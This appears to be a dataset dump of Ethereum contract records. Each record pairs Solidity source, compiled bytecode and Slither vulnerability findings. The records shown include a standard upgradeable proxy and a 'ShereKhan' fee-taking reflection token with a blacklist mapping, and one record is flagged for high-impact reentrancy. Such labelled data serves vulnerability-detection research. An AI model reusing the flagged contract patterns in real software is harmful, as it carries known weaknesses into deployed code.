816119de565b919050565b60006020828403121561161457600080fd5b8135610ffb816119de565b60006020828403121561163157600080fd5b8151610ffb816119de565b6000806040838503121561164f57600080fd5b823561165a816119de565b9150602083013561166a816119de565b809150509250929050565b60008060006060848603121561168a57600080fd5b8335611695816119de565b925060208401356116a5816119de565b929592945050506040919091013590565b600080604083850312156116c957600080fd5b82356116d4816119de565b946020939093013593505050565b600060208083850312156116f557600080fd5b823567ffffffffffffffff8082111561170d57600080fd5b818501915085601f83011261172157600080fd5b813581811115611733576117336119c8565b8060051b604051601f19603f83011681018181108582111715611758576117586119c8565b604052828152858101935084860182860187018a101561177757600080fd5b600095505b838610156117a15761178d816115f2565b85526001959095019493860193860161177c565b5098975050505050505050565b6000602082840312156117c057600080fd5b8135610ffb816119f3565b6000602082840312156117dd57600080fd5b8151610ffb816119f3565b6000806000606084860312156117fd57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561184357858101830151858201604001528201611827565b81811115611855576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118f05784516001600160a01b0316835293830193918301916001016118cb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119245761192461199c565b500190565b60008261194657634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119655761196561199c565b500290565b60008282101561197c5761197c61199c565b500390565b60006000198214156119955761199561199c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104df57600080fd5b80151581146104df57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122063d31a59c368ddf8ac3ad637fb09dcc283bfec8fa6098bcf8abc978dad75f8cf64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 383 |
0xd05ace63789ccb35b9ce71d01e4d632a0486da4b | pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize)
}
default {
return(0, returndatasize)
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
OpenZeppelinUpgradesAddress.isContract(newImplementation),
'Cannot set a proxy implementation to a non-contract address'
);
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(
IMPLEMENTATION_SLOT ==
bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
);
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(
newAdmin != address(0),
'Cannot change the admin of a proxy to the zero address'
);
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(
msg.sender != _admin(),
'Cannot call fallback function from the proxy admin'
);
super._willFallback();
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is
BaseAdminUpgradeabilityProxy,
UpgradeabilityProxy
{
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
) public payable UpgradeabilityProxy(_logic, _data) {
assert(
ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)
);
_setAdmin(_admin);
}
}
/*
Copyright 2021 Empty Set Squad <emptysetsquad@protonmail.com>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title ProxyImpl
* @notice No-op extension of OZ's AdminUpgradeabilityProxy allowing it to be built and available for our deploy scripts
*/
contract ProxyImpl is AdminUpgradeabilityProxy {
constructor(address impl, address admin)
public
AdminUpgradeabilityProxy(impl, admin, '')
{}
} | 0x60806040526004361061004a5760003560e01c80633659cfe6146100545780634f1ef286146100745780635c60da1b146100875780638f283970146100b2578063f851a440146100d2575b6100526100e7565b005b34801561006057600080fd5b5061005261006f36600461049f565b610101565b6100526100823660046104c5565b61013b565b34801561009357600080fd5b5061009c6101e2565b6040516100a99190610661565b60405180910390f35b3480156100be57600080fd5b506100526100cd36600461049f565b61021f565b3480156100de57600080fd5b5061009c6102b8565b6100ef6102e3565b6100ff6100fa610324565b610349565b565b61010961036d565b6001600160a01b0316336001600160a01b031614156101305761012b81610392565b610138565b6101386100e7565b50565b61014361036d565b6001600160a01b0316336001600160a01b031614156101d55761016583610392565b6000836001600160a01b03168383604051610181929190610654565b600060405180830381855af49150503d80600081146101bc576040519150601f19603f3d011682016040523d82523d6000602084013e6101c1565b606091505b50509050806101cf57600080fd5b506101dd565b6101dd6100e7565b505050565b60006101ec61036d565b6001600160a01b0316336001600160a01b031614156102145761020d610324565b905061021c565b61021c6100e7565b90565b61022761036d565b6001600160a01b0316336001600160a01b03161415610130576001600160a01b03811661026f5760405162461bcd60e51b8152600401610266906106a1565b60405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61029861036d565b826040516102a792919061066f565b60405180910390a161012b816103d2565b60006102c261036d565b6001600160a01b0316336001600160a01b031614156102145761020d61036d565b6102eb61036d565b6001600160a01b0316336001600160a01b0316141561031c5760405162461bcd60e51b815260040161026690610691565b6100ff6100ff565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610368573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61039b816103f6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6103ff8161043f565b61041b5760405162461bcd60e51b8152600401610266906106b1565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b151590565b8035610450816106ec565b92915050565b60008083601f84011261046857600080fd5b50813567ffffffffffffffff81111561048057600080fd5b60208301915083600182028301111561049857600080fd5b9250929050565b6000602082840312156104b157600080fd5b60006104bd8484610445565b949350505050565b6000806000604084860312156104da57600080fd5b60006104e68686610445565b935050602084013567ffffffffffffffff81111561050357600080fd5b61050f86828701610456565b92509250509250925092565b610524816106cf565b82525050565b600061053683856106c1565b93506105438385846106e0565b50500190565b60006105566032836106c6565b7f43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e20667281527137b6903a343290383937bc3c9030b236b4b760711b602082015260400192915050565b60006105aa6036836106c6565b7f43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f815275787920746f20746865207a65726f206164647265737360501b602082015260400192915050565b6000610602603b836106c6565b7f43616e6e6f742073657420612070726f787920696d706c656d656e746174696f81527f6e20746f2061206e6f6e2d636f6e747261637420616464726573730000000000602082015260400192915050565b60006104bd82848661052a565b60208101610450828461051b565b6040810161067d828561051b565b61068a602083018461051b565b9392505050565b6020808252810161045081610549565b602080825281016104508161059d565b60208082528101610450816105f5565b919050565b90815260200190565b60006001600160a01b038216610450565b82818337506000910152565b6106f5816106cf565b811461013857600080fdfea365627a7a723158205f2096ffc6537dd72344c88938b2145e12809ef211d8d084e5f588774f00aafe6c6578706572696d656e74616cf564736f6c63430005110040 | {"success": true, "error": null, "results": {}} | 384 |
0x051BEfC7bD18a27ef7fE7f93192FC0586C0c674C | /**
*Submitted for verification at Etherscan.io on 2022-01-07
*/
/* https://t.me/sherekhantoken
https://sherekhan.info
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract sherekhan is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 * 1e6 * 1e9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "ShereKhan";
string private constant _symbol = "SKAN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x3029D78A8Ab7956655Ec9Cc535f08462E2a1EbdB);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100 * 1e3 * 1e9) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000 * 1e9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ae578063c3c8cd80146102ce578063c9567bf9146102e3578063dd62ed3e146102f857600080fd5b806370a0823114610224578063715018a6146102445780638da5cb5b1461025957806395d89b411461028157600080fd5b80632ab30838116100c65780632ab30838146101bc578063313ce567146101d35780635932ead1146101ef5780636fc3eaec1461020f57600080fd5b806306fdde0314610103578063095ea7b31461014757806318160ddd1461017757806323b872dd1461019c57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600981526829b432b932a5b430b760b91b60208201525b60405161013e9190611418565b60405180910390f35b34801561015357600080fd5b50610167610162366004611388565b61033e565b604051901515815260200161013e565b34801561018357600080fd5b5067016345785d8a00005b60405190815260200161013e565b3480156101a857600080fd5b506101676101b7366004611348565b610355565b3480156101c857600080fd5b506101d16103be565b005b3480156101df57600080fd5b506040516009815260200161013e565b3480156101fb57600080fd5b506101d161020a3660046113b3565b6103ff565b34801561021b57600080fd5b506101d1610447565b34801561023057600080fd5b5061018e61023f3660046112d8565b610474565b34801561025057600080fd5b506101d1610496565b34801561026557600080fd5b506000546040516001600160a01b03909116815260200161013e565b34801561028d57600080fd5b5060408051808201909152600481526329a5a0a760e11b6020820152610131565b3480156102ba57600080fd5b506101676102c9366004611388565b61050a565b3480156102da57600080fd5b506101d1610517565b3480156102ef57600080fd5b506101d161054d565b34801561030457600080fd5b5061018e610313366004611310565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061034b338484610912565b5060015b92915050565b6000610362848484610a36565b6103b484336103af856040518060600160405280602881526020016115b8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610bd6565b610912565b5060019392505050565b6000546001600160a01b031633146103f15760405162461bcd60e51b81526004016103e89061146b565b60405180910390fd5b67016345785d8a0000600f55565b6000546001600160a01b031633146104295760405162461bcd60e51b81526004016103e89061146b565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461046757600080fd5b4761047181610c10565b50565b6001600160a01b03811660009081526002602052604081205461034f90610c4a565b6000546001600160a01b031633146104c05760405162461bcd60e51b81526004016103e89061146b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061034b338484610a36565b600c546001600160a01b0316336001600160a01b03161461053757600080fd5b600061054230610474565b905061047181610cce565b6000546001600160a01b031633146105775760405162461bcd60e51b81526004016103e89061146b565b600e54600160a01b900460ff16156105d15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e8565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561060d308267016345785d8a0000610912565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561064657600080fd5b505afa15801561065a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067e91906112f4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c657600080fd5b505afa1580156106da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fe91906112f4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561074657600080fd5b505af115801561075a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077e91906112f4565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306107ae81610474565b6000806107c36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561082657600080fd5b505af115801561083a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061085f91906113eb565b5050600e805466038d7ea4c68000600f5563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156108d657600080fd5b505af11580156108ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090e91906113cf565b5050565b6001600160a01b0383166109745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e8565b6001600160a01b0382166109d55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610a985760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e8565b6001600160a01b03831660009081526006602052604090205460ff1615610abe57600080fd5b6001600160a01b0383163014610bc6576000600a908155600b55600e546001600160a01b038481169116148015610b035750600d546001600160a01b03838116911614155b8015610b2857506001600160a01b03821660009081526005602052604090205460ff16155b8015610b3d5750600e54600160b81b900460ff165b15610b5157600f54811115610b5157600080fd5b6000610b5c30610474565b600e54909150600160a81b900460ff16158015610b875750600e546001600160a01b03858116911614155b8015610b9c5750600e54600160b01b900460ff165b15610bc457610baa81610cce565b47655af3107a4000811115610bc257610bc247610c10565b505b505b610bd1838383610e73565b505050565b60008184841115610bfa5760405162461bcd60e51b81526004016103e89190611418565b506000610c078486611567565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561090e573d6000803e3d6000fd5b6000600854821115610cb15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103e8565b6000610cbb610e7e565b9050610cc78382610ea1565b9392505050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020